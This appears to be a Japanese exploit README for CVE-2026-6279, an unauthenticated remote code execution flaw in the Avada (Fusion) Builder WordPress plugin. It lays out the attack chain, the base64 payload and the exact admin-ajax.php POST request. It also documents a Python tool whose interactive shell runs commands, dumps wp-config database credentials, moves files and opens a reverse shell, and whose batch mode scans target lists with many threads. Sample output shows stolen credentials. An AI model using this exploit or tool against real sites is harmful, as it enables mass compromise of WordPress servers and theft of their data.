
CVE-2026-6279: Avada (Fusion) Builder <= 3.15.2 – 認証されていないリモートコード実行(PHP関数インジェクション)経由 'render_logics' ショートコード属性経由 Widget AJAX ハンドラー (fusion-builder)
| フィールド | 詳細 |
|---|
| CVE ID | CVE-2026-6279 |
| 影響を受ける | Avada Builder (Fusion Builder) <= 3.15.2 |
| テーマ | WordPress Avada Theme |
| アクティブインストール | 900,000+ |
| 脆弱性の種類 | PHP Function Injection → Unauthenticated RCE |
| CVSS v3.1 | 9.8 (Critical) |
| ベクトル | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | ❌ 不要 |
| ユーザーインタラクション | ❌ 不要 |
| 研究者 | xxcoin |
| 公開日 | 2026-05-24 |
┌─────────────────────────────────────────────────────────────────┐
│ │
│ 1. NONCE検出 │
│ wp_create_nonce('fusion_load_nonce') → UID 0 │
│ [fusion_post_cards] または [fusion_table_of_contents] │
│ ショートコードを含む公開ページのJSに埋め込まれる │
│ │ │
│ ▼ │
│ 2. 未認証Ajax │
│ wp_ajax_nopriv_fusion_get_widget_markup │
│ check_ajax_referer() → nonceの有効性のみ確認 │
│ ユーザー認証は行われない │
│ │ │
│ ▼ │
│ 3. デシリアライゼーション │
│ base64_decode(render_logics) → json_decode() │
│ 構造検証なし — 攻撃者制御下のJSON │
│ │ │
│ ▼ │
│ 4. call_user_func() — 許可リストなし │
│ get_value() → wp_conditional_tags case │
│ call_user_func($value['function'], $value['args']) │
│ 任意のPHP関数を呼び出し可能 │
│ │ │
│ ▼ │
│ 5. RCE ✓ │
│ system("id") → uid=1000(xxcoin) │
│ Webサーバー権限で完全なコマンド実行 │
│ │
└─────────────────────────────────────────────────────────────────┘
class-fusion-builder-conditional-render-helper.php — L1531:
// 脆弱なコード
case 'wp_conditional_tags':
$decoded = json_decode( base64_decode( $render_logics ), true );
// ❌ 許可リストのチェックなし
return call_user_func( $decoded['function'], $decoded['args'] );
{
"type": "wp_conditional_tags",
"value": {
"function": "system",
"args": "id"
}
}
Base64エンコードされ、
render_logicsPOSTフィールドとして送信されます。
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
action=fusion_get_widget_markup
fusion_load_nonce=<nonce>
render_logics=<base64_payload>
widget_type=WP_Widget_Recent_Posts
type=WP_Widget_Recent_Posts
widget_id=2
number=2
| 関数 | 引数 | 結果 | ステータス |
|---|---|---|---|
system() | id | uid=1000(xenon1337) | ✅ 成功 |
passthru() | id | uid=1000(xenon1337) | ✅ 成功 |
shell_exec() | id | uid=1000(xenon1337) | ✅ 成功 |
exec() | id | uid=1000(xenon1337) | ✅ 成功 |
file_get_contents() | /etc/passwd | root:x:0:0:... | ✅ 成功 |
proc_open() | — | — | ❌ 2つ以上の引数が必要 |
popen() | — | — | ❌ 2つ以上の引数が必要 |
注:
call_user_func($fn, $arg)は性質上、1つの引数のみを受け付けます。proc_open、popenなど2つ以上の引数を必要とする関数は、この脆弱性を経由して起動できません。
1. Avadaは fusion_load_nonce をUID 0(公開ユーザー)で生成する
2. [fusion_post_cards] または [fusion_table_of_contents] ショートコードを
含むページでは、nonceがJS出力に埋め込まれる → 誰でも見ることができる
3. check_ajax_referer('fusion_load_nonce') はnonceの有効性のみを確認し、
ユーザーの身元は検証しない
4. 結果: 任意の訪問者がnonceを取得し、エンドポイントを呼び出せる
| ファイル | 行 | 関数 | 説明 |
|---|---|---|---|
class-fusion-builder-conditional-render-helper.php | L1083 | should_render() | render_logicsのデシリアライゼーション |
class-fusion-builder-conditional-render-helper.php | L1531 | get_value() | ⚠️ call_user_func() — 許可リストなし |
fusion-widget.php | L44 | — | render_logicsの接続 |
fusion-widget.php | L389 | — | wp_ajax_nopriv AJAXハンドラの登録 |
class-fusion-builder.php | L7551 | — | UID 0用の決定論的nonce登録 |
pip install requests packaging
# メニューモード(単体+バッチ)
python3 CVE-2026-6279.py
# プロトコルなし(自動検出)
python3 CVE-2026-6279.py target.com
# プロトコル付き
python3 CVE-2026-6279.py http://target.com
python3 CVE-2026-6279.py https://target.com
# ポート指定
python3 CVE-2026-6279.py target.com:8080
python3 CVE-2026-6279.py http://target.com:8080
♡ [1] 単体ターゲット · 対話型シェル
◆ [2] バッチスキャン · ファイルエクスプロイト
✗ [3] 終了
shell> id # コマンド実行
shell> cd /var/www/html # ディレクトリ変更
shell> upload local.php /tmp/x.php # ファイルアップロード
shell> download /etc/passwd # ファイルダウンロード
shell> wp-config # DB情報取得
shell> recon # システムスキャン
shell> revshell 10.0.0.1 4444 # リバースシェル
shell> exit # 終了
# targets.txt の形式:
target1.com
http://target2.com
https://target3.com:8080
# コメント行(スキップされます)
♡ ターゲットファイル [targets.txt]:
♡ スレッド数 [10]: 30
♡ コマンド [id]:
♡ 出力ファイル [vuln.txt]:
╔══════════════════════════════════════════════════════════════╗
║ CVE-2026-6279 · Avada Builder <= 3.15.2 ║
║ Unauthenticated RCE via call_user_func() ║
║ Copyright © 2026 xxcoin · 感謝: xxcoin 💜 ║
╚══════════════════════════════════════════════════════════════╝
★ Avada検出! (http://localhost:8888)
★ nonce: b6d7b084c2 (src: /blog/) [shortcode✓]
★ AJAX: http://localhost:8888/wp-admin/admin-ajax.php
★ RCE: system() [B] [WP_Widget_Recent_Posts]
• uid=1000(xxcoin) gid=1000(xxcoin) groups=1000
shell> uname -a
• Linux debian 6.1.0-21-amd64 #1 SMP x86_64 GNU/Linux
shell> wp-config
• DB_NAME=wordpress
• DB_USER=wp_user
• DB_PASSWORD=s3cr3t_p4ss!
• DB_HOST=localhost
| メトリック | 値 |
|---|---|
| Attack Vector | Network |
| Attack Complexity | Low |
| Privileges Required | None |
| User Interaction | None |
| Scope | Unchanged |
| Confidentiality | High |
| Integrity | High |
| Availability | High |
| 総合スコア | 9.8 — CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
このツールは許可されたセキュリティテストおよび教育目的のみに使用されます。無許可のシステムへのアクセスは違法です。すべての責任はユーザーにあります。
telegram. https://t.me/+-GYq8ydL9AYwZGI8)
CVE-2026-6279 · Avada Builder <= 3.15.2 · xxcoin · 2026
Special Thanks: Shadow Girlfriend 💜